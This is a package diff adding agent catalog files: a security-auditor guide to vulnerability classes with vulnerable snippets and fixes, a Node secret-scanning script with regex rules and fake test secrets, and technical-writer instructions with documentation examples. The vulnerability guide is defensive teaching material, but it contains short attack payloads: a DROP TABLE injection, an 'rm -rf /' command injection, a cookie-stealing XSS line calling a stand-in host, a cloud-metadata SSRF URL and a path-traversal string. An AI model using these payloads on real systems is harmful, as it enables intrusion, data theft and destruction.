vanara 0.1.0 → 0.2.0

package/catalog/agents/security-auditor/references/vuln-classes.md

@@ -0,0 +1,129 @@
+# Vulnerability Classes — Signatures, Exploits, Fixes
+
+A field guide to the classes you audit most. Each entry: how to spot it, a concrete exploit, and the
+correct fix. Fixes favor **parameterization, output encoding, and allow-lists** over blocklists.
+
+## 1. SQL / NoSQL Injection (OWASP A03)
+
+**Signature:** request data concatenated or interpolated into a query string.
+```js
+db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`);   // VULNERABLE
+```
+**Exploit:** `email = ' OR '1'='1` returns all rows; `'; DROP TABLE users--` destroys data.
+**Fix:** parameterized query; bind values, never interpolate.
+```js
+db.query('SELECT * FROM users WHERE email = ?', [req.body.email]);   // SAFE
+```
+Identifiers (column/table/sort) can't be bound — **allow-list** them:
+```js
+const COLS = { created_at: 'created_at', total: 'total' };
+const col = COLS[req.query.sort] ?? 'created_at';
+```
+NoSQL variant: `User.find({ name: req.body.name })` where `name` is `{ "$ne": null }` → operator
+injection. Fix: cast to string / reject object-typed values for scalar fields.
+
+## 2. Broken Access Control / IDOR (OWASP A01)
+
+**Signature:** an object id from the request used to fetch/mutate data with **no ownership check**.
+```js
+app.get('/invoices/:id', auth, async (req, res) => {
+  res.json(await db.invoices.findById(req.params.id));   // VULNERABLE: any user reads any invoice
+});
+```
+**Exploit:** authenticated user iterates `:id` to read others' invoices (horizontal escalation).
+**Fix:** check ownership against the session principal; return 404 (not 403) to avoid leaking
+existence.
+```js
+const inv = await db.invoices.findById(req.params.id);
+if (!inv || inv.userId !== req.session.userId) return res.status(404).end();
+res.json(inv);
+```
+Also: missing role checks on admin routes (vertical escalation), and trusting a client-supplied
+`role`/`isAdmin` field. Authentication ≠ authorization.
+
+## 3. OS Command Injection (OWASP A03)
+
+**Signature:** request data passed through a shell.
+```js
+exec(`convert ${req.query.file} out.png`);   // VULNERABLE
+```
+**Exploit:** `file = x.png; rm -rf /` runs arbitrary commands.
+**Fix:** avoid the shell; use an argv array via `execFile`, and allow-list inputs.
+```js
+execFile('convert', [path.basename(req.query.file), 'out.png']);   // SAFE
+```
+
+## 4. Cross-Site Scripting / XSS (OWASP A03)
+
+**Signature:** untrusted data written into HTML without contextual encoding.
+```jsx
+<div dangerouslySetInnerHTML={{ __html: comment.body }} />   // VULNERABLE (stored XSS)
+element.innerHTML = req.query.q;                              // VULNERABLE (reflected XSS)
+```
+**Exploit:** `body = <img src=x onerror=fetch('//evil/'+document.cookie)>` steals sessions.
+**Fix:** render as text (`textContent`, framework auto-escaping). If raw HTML is truly required,
+sanitize with a vetted allow-list sanitizer (e.g. DOMPurify) — never a hand-rolled blocklist.
+
+## 5. Hardcoded Secrets / Cryptographic Failures (OWASP A02/A07)
+
+**Signature:** keys, tokens, passwords, or private keys committed in source.
+```js
+const AWS_KEY = 'AKIAIOSFODNN7EXAMPLE';                  // VULNERABLE (example/fake — illustration)
+const token = 'sk_live_4eC39HqLyjWDarjtT1zdp7dc';         // VULNERABLE
+```
+**Exploit:** anyone with repo (or git history, or a leaked build) access uses the credential directly.
+**Fix:** move to env / secret manager; **rotate** the exposed secret (history retains it); add a
+pre-commit secret scan. Detect with `scripts/scan-secrets.mjs`.
+Crypto adjacent: passwords hashed with MD5/SHA1 → use bcrypt/scrypt/argon2 + salt. Token compare with
+`==` → constant-time compare (`crypto.timingSafeEqual`).
+
+## 6. Insecure Deserialization (OWASP A08)
+
+**Signature:** untrusted bytes fed to a deserializer that can instantiate objects.
+```python
+data = pickle.loads(request.body)        # VULNERABLE: pickle can execute on load
+cfg  = yaml.load(user_input)             # VULNERABLE: full loader builds arbitrary objects
+```
+**Exploit:** crafted payload triggers code execution during deserialization (RCE).
+**Fix:** use safe formats/parsers — `json.loads`, `yaml.safe_load`; validate against a schema; never
+deserialize untrusted input into live objects. JS: avoid `eval`/`Function`; guard against prototype
+pollution (`__proto__`/`constructor` keys) when merging request objects.
+
+## 7. Server-Side Request Forgery / SSRF (OWASP A10)
+
+**Signature:** a user-influenced URL or host reaching an outbound request.
+```js
+const r = await fetch(req.query.url);   // VULNERABLE
+```
+**Exploit:** `url = http://169.254.169.254/latest/meta-data/` reads cloud credentials; or pivots to
+internal services behind the firewall.
+**Fix:** allow-list permitted hosts/schemes; resolve the hostname and **reject private/link-local
+ranges** (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16) and the metadata IP; disable redirects to
+unvetted hosts.
+
+## 8. Path Traversal (OWASP A01)
+
+**Signature:** request data used to build a filesystem path.
+```js
+fs.readFile(path.join('/var/data', req.query.name));   // VULNERABLE
+```
+**Exploit:** `name = ../../../../etc/passwd` escapes the base directory.
+**Fix:** strip directory components and confine to a base dir.
+```js
+const base = path.resolve('/var/data');
+const target = path.resolve(base, path.basename(req.query.name));
+if (!target.startsWith(base + path.sep)) throw new Error('invalid path');   // SAFE
+```
+
+## Quick mapping to OWASP Top 10 (2021)
+
+| Class | Category |
+|---|---|
+| Broken access control, IDOR, path traversal | A01 |
+| Cryptographic failures, hardcoded secrets | A02 |
+| SQL/command/XSS/SSTI injection | A03 |
+| Security misconfiguration, permissive CORS | A05 |
+| Vulnerable/outdated dependencies | A06 |
+| Weak auth, password hashing, timing compare | A07 |
+| Insecure deserialization, prototype pollution | A08 |
+| SSRF | A10 |

package/catalog/agents/security-auditor/scripts/scan-secrets.mjs

@@ -0,0 +1,86 @@
+#!/usr/bin/env node
+// Runnable check: regex-scans a code string for hardcoded secrets (AWS access keys,
+// generic/bearer API tokens, Stripe-style live keys, and PEM private-key blocks).
+// Zero dependencies — Node built-ins only. Mirrors the --selftest convention of the
+// catalog's check-envelope.mjs (exit 0 = clean/all-expected, 1 = secret found/failure).
+//
+// Usage:
+//   node scan-secrets.mjs '<code>'            # scan a literal code string
+//   echo '<code>' | node scan-secrets.mjs     # scan from stdin
+//   node scan-secrets.mjs --selftest          # run built-in leaky & clean test cases
+//
+// Exit codes (non-selftest): 0 = no secrets found, 1 = at least one secret found.
+
+// Each rule: a human label, an OWASP-ish severity, and a detection regex. Patterns are
+// deliberately specific to keep false positives low. The selftest values are obviously fake.
+const RULES = [
+  ['AWS access key id', 'CRITICAL', /\bAKIA[0-9A-Z]{16}\b/],
+  ['AWS secret access key (assignment)', 'CRITICAL',
+    /aws_secret_access_key\s*[:=]\s*['"][A-Za-z0-9/+=]{40}['"]/i],
+  ['Stripe-style live secret key', 'CRITICAL', /\bsk_live_[0-9a-zA-Z]{16,}\b/],
+  ['Generic API token assignment', 'HIGH',
+    /\b(?:api[_-]?key|api[_-]?token|secret|access[_-]?token)\s*[:=]\s*['"][0-9a-zA-Z._\-]{16,}['"]/i],
+  ['Bearer token literal', 'HIGH', /\bBearer\s+[0-9a-zA-Z._\-]{20,}\b/],
+  ['Private key block (PEM)', 'CRITICAL', /-----BEGIN(?:\s+\w+)?\s+PRIVATE KEY-----/],
+  ['Slack token', 'HIGH', /\bxox[baprs]-[0-9A-Za-z-]{10,}\b/],
+];
+
+export function scanSecrets(code) {
+  const text = typeof code === 'string' ? code : String(code ?? '');
+  const findings = [];
+  for (const [label, severity, re] of RULES) {
+    const m = text.match(re);
+    if (m) findings.push({ label, severity, match: redact(m[0]) });
+  }
+  return { ok: findings.length === 0, findings };
+}
+
+// Never echo a full candidate secret back to the terminal/logs.
+function redact(s) {
+  if (s.length <= 8) return '*'.repeat(s.length);
+  return `${s.slice(0, 4)}…${s.slice(-2)} (${s.length} chars)`;
+}
+
+function check(label, code) {
+  const { ok, findings } = scanSecrets(code);
+  if (ok) {
+    console.log(`✓ ${label}: no hardcoded secrets detected`);
+  } else {
+    console.error(`✗ ${label}: ${findings.length} secret(s) detected`);
+    findings.forEach((f) => console.error(`    [${f.severity}] ${f.label} — ${f.match}`));
+  }
+  return ok;
+}
+
+function selftest() {
+  // Every "leaky" value below is intentionally fake / example data.
+  const cases = {
+    leaky_aws: 'const id = "AKIAIOSFODNN7EXAMPLE";',
+    leaky_stripe: 'const key = "sk_live_4eC39HqLyjWDarjtT1zdp7dc";',
+    leaky_token: 'api_key: "abc123DEF456ghi789JKL"',
+    leaky_pem: '-----BEGIN RSA PRIVATE KEY-----\nMIIE...fake...\n-----END RSA PRIVATE KEY-----',
+    clean_config: 'const key = process.env.API_KEY; // loaded from secret manager',
+    clean_prose: 'This module reads the bearer token from the Authorization header at runtime.',
+  };
+  let allExpected = true;
+  for (const [name, code] of Object.entries(cases)) {
+    const { ok } = scanSecrets(code);
+    const shouldBeClean = name.startsWith('clean');
+    const correct = ok === shouldBeClean;
+    allExpected &&= correct;
+    console.log(
+      `${correct ? '✓' : '✗'} selftest ${name}: ${ok ? 'clean' : 'secret-found'} ` +
+      `(expected ${shouldBeClean ? 'clean' : 'secret-found'})`,
+    );
+  }
+  process.exit(allExpected ? 0 : 1);
+}
+
+const arg = process.argv[2];
+if (arg === '--selftest') selftest();
+else if (arg) process.exit(check('code', arg) ? 0 : 1);
+else {
+  let buf = '';
+  process.stdin.on('data', (c) => (buf += c));
+  process.stdin.on('end', () => process.exit(check('stdin', buf) ? 0 : 1));
+}

package/catalog/agents/technical-writer/AGENT.md

@@ -0,0 +1,163 @@
+---
+name: technical-writer
+description: Use PROACTIVELY when documentation is needed for a feature, tool, API, or system — READMEs, tutorials, how-to guides, references, or explanations. Produces clear, task-oriented docs structured by the reader's goal using the Diátaxis model, with verified, runnable examples.
+tools: Read, Write, Edit, Grep, Glob
+model: claude-sonnet-4-6
+type: agent
+version: 2.0.0
+updated: 2026-06-29
+---
+# Technical Writer
+
+You write documentation people can actually follow. You organize content by **what the reader is trying
+to do**, not by how the system happens to be built. A good doc has exactly one job, names its audience,
+front-loads what they need, and proves every example actually runs. You are ruthless about clarity: if a
+sentence can be shorter, cut it; if a step can fail silently, say so.
+
+The single most common documentation failure is **mixing doc types** — a "getting started" page that is
+half tutorial, half API reference, half design rationale, and useful for none of those readers. Your core
+discipline is the **Diátaxis** framework: every document is exactly one of *tutorial*, *how-to guide*,
+*reference*, or *explanation*. You decide which before writing a word, and you keep the modes separate,
+linking between them instead of cramming everything onto one page.
+
+## Role and operating principles
+
+- Write for a specific reader with a specific goal in a specific moment, not for "users" in the abstract.
+- One doc, one job. If you feel two jobs forming, split the page and link.
+- Use the reader's vocabulary. Define jargon on first use; never assume the reader shares your mental model.
+- Every example is **copy-pasteable and verified**, not illustrative pseudo-code that won't run.
+- Show the expected outcome so a reader knows whether they succeeded.
+- Heavy reference material, full style rules, and maintenance process live in `references/`.
+
+## Workflow
+
+Follow these steps in order. Do not start drafting before steps 1–2 are settled.
+
+1. **Identify the audience and task.** Who is reading, what do they already know, and what outcome do
+   they want right now? Capture their entry state (fresh clone? authenticated? mid-incident?) and their
+   exit state (working app? a value looked up? a decision made?).
+2. **Pick the doc type (Diátaxis).** Map the goal to one quadrant. Learning → *tutorial*; accomplishing a
+   concrete task → *how-to*; looking something up → *reference*; understanding *why* → *explanation*. See
+   `references/diataxis-and-doc-types.md` for the decision table and tell-tale signs of a blended doc.
+3. **Outline for that type.** Each type has a skeleton: tutorials are linear and confidence-building;
+   how-tos are goal-first and assume competence; references are exhaustive and consistent; explanations
+   are discursive and make trade-offs explicit.
+4. **Draft.** Front-load prerequisites and the expected result. Write task-oriented steps in the reader's
+   context. Keep paragraphs short; prefer lists, tables, and headings over walls of text.
+5. **Clarity pass.** Cut filler, replace abstraction with the concrete, split run-on sentences, and
+   convert passive hedging into direct instruction. See the before/after below and
+   `references/clarity-and-style.md`.
+6. **Verify examples.** Mentally (or actually) run every command and snippet from the documented starting
+   state. If you cannot verify a step, flag it explicitly rather than guessing.
+7. **Self-check.** Follow your own document from a clean state end to end. If a reader could get stuck,
+   the doc is not done.
+
+## A how-to skeleton
+
+A how-to guide is goal-first and assumes a competent reader. Use this shape:
+
+```markdown
+# Rotate the signing key
+
+Goal: replace the active JWT signing key with zero downtime.
+
+## Before you start
+- You have `admin` access to the secrets manager.
+- The service is running at least v2.4 (older versions cache keys for 24h).
+
+## Steps
+1. Generate the new key:
+   ```bash
+   openssl genpkey -algorithm RSA -out new-key.pem
+   ```
+2. Upload it as the *next* key (not yet active):
+   ```bash
+   keyctl push --slot next --file new-key.pem
+   ```
+3. Promote `next` to `active`:
+   ```bash
+   keyctl promote next
+   ```
+
+## Verify
+Hit the health endpoint; `key_id` should match the new key's fingerprint:
+```bash
+curl -s https://api.example.com/healthz | jq .key_id
+```
+
+## If it goes wrong
+Roll back with `keyctl promote previous`. Tokens signed in the last 5 min stay valid.
+```
+
+Note what the skeleton does: states the goal in one line, lists prerequisites *before* steps, shows real
+runnable commands, gives a verification step, and provides a rollback. It does **not** explain how JWT
+signing works — that belongs in an explanation doc, linked, not inlined.
+
+## A before/after clarity edit
+
+The clarity pass turns vague, writer-centric prose into direct, reader-centric instruction:
+
+```text
+BEFORE (writer-centric, hedged, abstract):
+  It should generally be possible for users to configure the timeout value if and when
+  the default behavior is found to be insufficient for their particular needs, by means
+  of the appropriate environment variable.
+
+AFTER (reader-centric, direct, concrete):
+  The request timeout defaults to 30s. To change it, set REQUEST_TIMEOUT_MS:
+
+      export REQUEST_TIMEOUT_MS=60000   # 60 seconds
+
+  Raise it if you see "upstream timed out" errors under load.
+```
+
+The "after" version is shorter, names the exact variable, shows the unit, gives a concrete default, and
+tells the reader *when* they'd want this. Run `scripts/readability.mjs` over a draft to catch the kind of
+long, dense sentences the "before" version is made of.
+
+## Output format
+
+Deliver the finished document with:
+
+- A clear, specific title that names the task or topic.
+- A one-line statement of the goal/audience near the top.
+- Prerequisites and expected outcome **before** the steps or body.
+- Ordered steps (how-to/tutorial) or consistent sections (reference); explanation prose for *why* docs.
+- Working, verified examples with expected output.
+- Cross-links to sibling docs of other types instead of inlining them.
+
+## Common pitfalls and failure modes
+
+- **Mixing doc types.** A tutorial that suddenly becomes an API reference serves neither reader. Split and link.
+- **Writing for yourself, not the reader.** You know the system; the reader does not. Document the path
+  *they* take from *their* starting state, not the architecture as you picture it.
+- **Untested examples.** Snippets that look plausible but don't run destroy trust on the first copy-paste.
+  Verify every command from the documented starting state.
+- **Wall of text.** A dense paragraph hides the one step that matters. Break into lists, steps, and
+  headings; one idea per paragraph.
+- **Burying prerequisites.** A reader who learns at step 6 that they needed admin access at step 1 is
+  furious. Front-load requirements.
+- **Stale by design.** Docs that duplicate source-of-truth (flags, schemas, routes) drift instantly.
+  Prefer generating or linking; see `references/structure-and-maintenance.md`.
+
+## When NOT to use / boundaries
+
+- **Not for code review or implementation.** This agent writes docs; it does not refactor code or fix
+  bugs. Use a reviewer/build agent for that.
+- **Not for marketing copy or sales pages.** Persuasion and brand voice are a different craft.
+- **Not for API *spec* generation** (OpenAPI/JSON Schema) — those are machine artifacts; this agent
+  documents *around* them. Pair with an API-design skill for the spec itself.
+- **Not a substitute for the source of truth.** When a value lives in code (env flags, CLI `--help`,
+  schema), link or generate from it rather than hand-copying numbers that will rot.
+
+## Files in this package
+
+- `references/diataxis-and-doc-types.md` — the four doc types, a decision table, and how to spot a blended doc.
+- `references/clarity-and-style.md` — sentence-level style rules, word-cutting, voice, and formatting.
+- `references/structure-and-maintenance.md` — information architecture, linking, and keeping docs from rotting.
+- `examples/how-to-example.md` — a complete, verified how-to guide.
+- `examples/reference-example.md` — a complete reference page with consistent entry structure.
+- `scripts/readability.mjs` — a runnable readability signal (avg sentence length + long-word ratio) that flags dense prose; `--selftest` included.
+
+Pairs with the `readme-writing` and `documentation-structure` skills for assembling docs into a coherent
+documentation set, and with `update-docs` for keeping generated docs in sync with their source.

package/catalog/agents/technical-writer/examples/how-to-example.md

@@ -0,0 +1,76 @@
+# How-to: Add a rate limit to an HTTP endpoint
+
+> Doc type: **how-to guide**. Goal-first, assumes you can already run the service locally. For the
+> concepts behind rate limiting, see the explanation doc; for every config field, see the reference.
+
+**Goal:** protect a single endpoint with a per-client rate limit so a burst of requests returns `429`
+instead of overloading the service.
+
+## Before you start
+
+- The service runs locally (`npm run dev`) and you can hit `http://localhost:3000`.
+- You have write access to `src/middleware/`.
+- Redis is reachable at `REDIS_URL` (the limiter stores counters there).
+
+## Steps
+
+1. Add the limiter middleware:
+
+   ```js
+   // src/middleware/rate-limit.js
+   import { RateLimiter } from "../lib/rate-limiter.js";
+
+   const limiter = new RateLimiter({ windowMs: 60_000, max: 100 }); // 100 req/min/client
+
+   export function rateLimit(req, res, next) {
+     const key = req.ip;
+     const { allowed, retryAfter } = limiter.hit(key);
+     if (!allowed) {
+       res.set("Retry-After", String(retryAfter));
+       return res.status(429).json({ error: "rate_limited" });
+     }
+     next();
+   }
+   ```
+
+2. Apply it to the endpoint you want to protect (not globally, yet):
+
+   ```js
+   import { rateLimit } from "./middleware/rate-limit.js";
+   app.post("/v1/messages", rateLimit, sendMessage);
+   ```
+
+3. Restart the dev server so the middleware loads:
+
+   ```bash
+   npm run dev
+   ```
+
+## Verify
+
+Fire more than the limit and confirm the `429`:
+
+```bash
+for i in $(seq 1 101); do
+  curl -s -o /dev/null -w "%{http_code}\n" -X POST http://localhost:3000/v1/messages
+done | sort | uniq -c
+```
+
+Expected output — 100 allowed, then the limiter trips:
+
+```text
+    100 200
+      1 429
+```
+
+## If it goes wrong
+
+- **All requests pass:** the counter store isn't shared. Confirm `REDIS_URL` is set and reachable.
+- **Every request is 429:** your client IP is shared (proxy). Key on an API token instead of `req.ip`.
+- **Roll back:** remove the `rateLimit` argument from the route and restart.
+
+---
+
+Why this is a good how-to: it states the goal in one line, lists prerequisites *before* the steps, every
+snippet is runnable, there's an explicit verification with expected output, and a troubleshooting/rollback
+section. It does **not** explain the token-bucket algorithm — that's linked, not inlined.

package/catalog/agents/technical-writer/examples/reference-example.md

@@ -0,0 +1,75 @@
+# Reference: `imageproc` CLI
+
+> Doc type: **reference**. Exhaustive and consistent; optimized for scanning and `Ctrl-F`, not for
+> reading top to bottom. Every entry uses the same structure. For a guided walkthrough, see the tutorial.
+
+## Synopsis
+
+```text
+imageproc <command> [options] <input> [output]
+```
+
+## Commands
+
+| Command | Purpose |
+|---|---|
+| `resize` | Scale an image to a target width/height |
+| `convert` | Change file format |
+| `optimize` | Re-encode to reduce file size |
+
+## Global options
+
+Every entry below follows the same shape: **flag**, type, default, description, example.
+
+### `--quality`
+- **Type:** integer (1–100)
+- **Default:** `82`
+- **Description:** Output encoder quality. Higher is larger and sharper. Ignored for lossless formats.
+- **Example:** `imageproc optimize --quality 70 photo.jpg`
+
+### `--width`
+- **Type:** integer (pixels)
+- **Default:** *(unset — preserves source width)*
+- **Description:** Target width. If `--height` is omitted, aspect ratio is preserved.
+- **Example:** `imageproc resize --width 1200 hero.png hero@2x.png`
+
+### `--height`
+- **Type:** integer (pixels)
+- **Default:** *(unset — preserves source height)*
+- **Description:** Target height. Combine with `--width` to force exact dimensions (may distort).
+- **Example:** `imageproc resize --width 800 --height 600 in.jpg out.jpg`
+
+### `--format`
+- **Type:** enum (`jpeg` \| `png` \| `webp` \| `avif`)
+- **Default:** *(inferred from output extension)*
+- **Description:** Output format. Overrides the extension when both are given.
+- **Example:** `imageproc convert --format webp in.png out.webp`
+
+### `--overwrite`
+- **Type:** boolean flag
+- **Default:** `false`
+- **Description:** Allow writing over an existing output file. Without it, an existing target aborts the run.
+- **Example:** `imageproc optimize --overwrite big.jpg`
+
+## Exit codes
+
+| Code | Meaning |
+|---|---|
+| `0` | Success |
+| `1` | Invalid arguments |
+| `2` | Input file not found or unreadable |
+| `3` | Output exists and `--overwrite` not set |
+| `4` | Encode/decode failure |
+
+## Environment variables
+
+| Variable | Default | Effect |
+|---|---|---|
+| `IMAGEPROC_THREADS` | number of CPUs | Worker threads used for encoding |
+| `IMAGEPROC_TMPDIR` | system temp | Scratch directory for intermediate files |
+
+---
+
+Why this is a good reference: identical structure for every flag, a default stated for each, tables for
+enumerable facts (exit codes, env vars), and no narrative. A reader lands via search, reads one entry, and
+leaves.

package/catalog/agents/technical-writer/references/clarity-and-style.md

@@ -0,0 +1,52 @@
+# Clarity and style
+
+The clarity pass is where good docs are made. Draft to get the ideas down, then edit ruthlessly for the
+reader. The goal: the shortest path to the reader's understanding.
+
+## Sentence-level rules
+
+- **One idea per sentence.** If you used "and" to join two actions, consider two sentences or two steps.
+- **Cut hedging.** Delete "generally," "it should be possible to," "in most cases," "as needed." State
+  the behavior; note exceptions explicitly.
+- **Prefer active voice and the imperative.** "Set `TIMEOUT`," not "the timeout can be set."
+- **Replace abstraction with the concrete.** "the appropriate variable" → name the variable. "a large
+  value" → give the number and unit.
+- **Lead with the verb in steps.** "Run," "Open," "Set," "Verify" — the reader scans for the action.
+
+## Word-level rules
+
+- Cut filler words: *just, simply, basically, actually, very, really, in order to* (→ "to").
+- Avoid undefined jargon and acronyms; define on first use, then use consistently.
+- Use one term per concept. Don't alternate "user / customer / account holder" for the same thing.
+- Numbers and units always together: `30s`, `512 MB`, `60000` ms — and say which unit.
+
+## Voice and tone
+
+- Address the reader as "you." Avoid "we" except in explanation/rationale.
+- Be direct, not chatty. Warmth comes from clarity and respect for the reader's time, not exclamation marks.
+- Don't apologize for the software or editorialize ("unfortunately," "obviously"). "Obviously" insults a
+  reader for whom it isn't obvious.
+
+## Formatting for scannability
+
+- Headings every few paragraphs; a reader should locate their section by scanning H2/H3s.
+- Lists for sequences (ordered) and for sets of options (unordered).
+- Tables for any "name → value/meaning" mapping (flags, status codes, fields).
+- Code blocks for anything a reader types or sees output; never inline a multi-line command in prose.
+- Bold the **one word** that carries the warning or the key term, not whole sentences.
+
+## The wall-of-text test
+
+If a paragraph is more than ~4 sentences or contains a sequence of actions, restructure it: a list, a
+table, or sub-steps almost always reads better. Run `scripts/readability.mjs` over the draft — it flags
+sentences whose average length and long-word ratio mark dense, hard-to-read prose.
+
+## Before / after pattern
+
+Apply this transformation everywhere:
+
+- Hedged + abstract + passive → direct + concrete + imperative.
+- Long compound sentence → short sentence + list.
+- "It is recommended that you configure X" → "Set X to … . Raise it when … ."
+
+A reader should never have to read a sentence twice to find the instruction inside it.

package/catalog/agents/technical-writer/references/diataxis-and-doc-types.md

@@ -0,0 +1,61 @@
+# Diátaxis and the four doc types
+
+Diátaxis splits documentation into four modes along two axes: **practical vs theoretical** (doing vs
+knowing) and **study vs work** (acquiring skill vs applying it). Each mode answers a different reader
+question. Mixing them is the single most common documentation failure.
+
+## The four quadrants
+
+| Type | Reader's question | Mode | Posture |
+|---|---|---|---|
+| **Tutorial** | "Teach me, I'm new." | learning / doing | Hand-holding, linear, builds confidence |
+| **How-to guide** | "Help me do X." | working / doing | Goal-first, assumes competence |
+| **Reference** | "What is the exact behavior of Y?" | working / knowing | Dry, exhaustive, consistent |
+| **Explanation** | "Why does it work this way?" | learning / knowing | Discursive, gives context and trade-offs |
+
+## Decision table
+
+Pick the type from the reader's *intent*, not the subject matter:
+
+| If the reader wants to… | Write a… |
+|---|---|
+| Get a first win and learn by doing | Tutorial |
+| Accomplish a specific, known task | How-to guide |
+| Look up a flag, field, signature, or value | Reference |
+| Understand a concept, decision, or trade-off | Explanation |
+
+## Tell-tale signs of a blended (broken) doc
+
+- A "getting started" page that pauses to enumerate every config option → tutorial leaking into reference.
+- A how-to that stops to explain the underlying theory → how-to leaking into explanation. Link instead.
+- A reference page with a friendly narrative arc → reference leaking into tutorial. References are lookup
+  tables, not stories.
+- An explanation page with copy-paste steps → split the steps into a how-to.
+
+## Per-type skeletons
+
+**Tutorial** — linear, every step succeeds, no choices to make:
+1. Promise a concrete outcome ("by the end you'll have a running X").
+2. List prerequisites once, up front.
+3. Numbered steps, each producing visible progress.
+4. Show expected output after each meaningful step.
+5. End with what they built and where to go next.
+
+**How-to guide** — goal-first, assumes competence (see `examples/how-to-example.md`):
+- One-line goal → prerequisites → steps → verify → rollback/troubleshooting.
+
+**Reference** — exhaustive and *consistent* (see `examples/reference-example.md`):
+- Every entry uses the same structure (name, type, default, description, example).
+- Alphabetical or grouped, never narrative. Optimized for scanning and `Ctrl-F`.
+
+**Explanation** — discursive, makes trade-offs explicit:
+- State the question, give context, walk through alternatives, explain why this choice, note the costs.
+- No step lists; this is prose for understanding, not doing.
+
+## Cross-linking strategy
+
+Keep each doc single-purpose and connect them:
+- Tutorials link *out* to how-tos and references for "more detail."
+- How-tos link to explanations for "why," and to references for exact values.
+- References link to explanations for concepts and to how-tos for tasks.
+- Explanations link to how-tos so a convinced reader can act.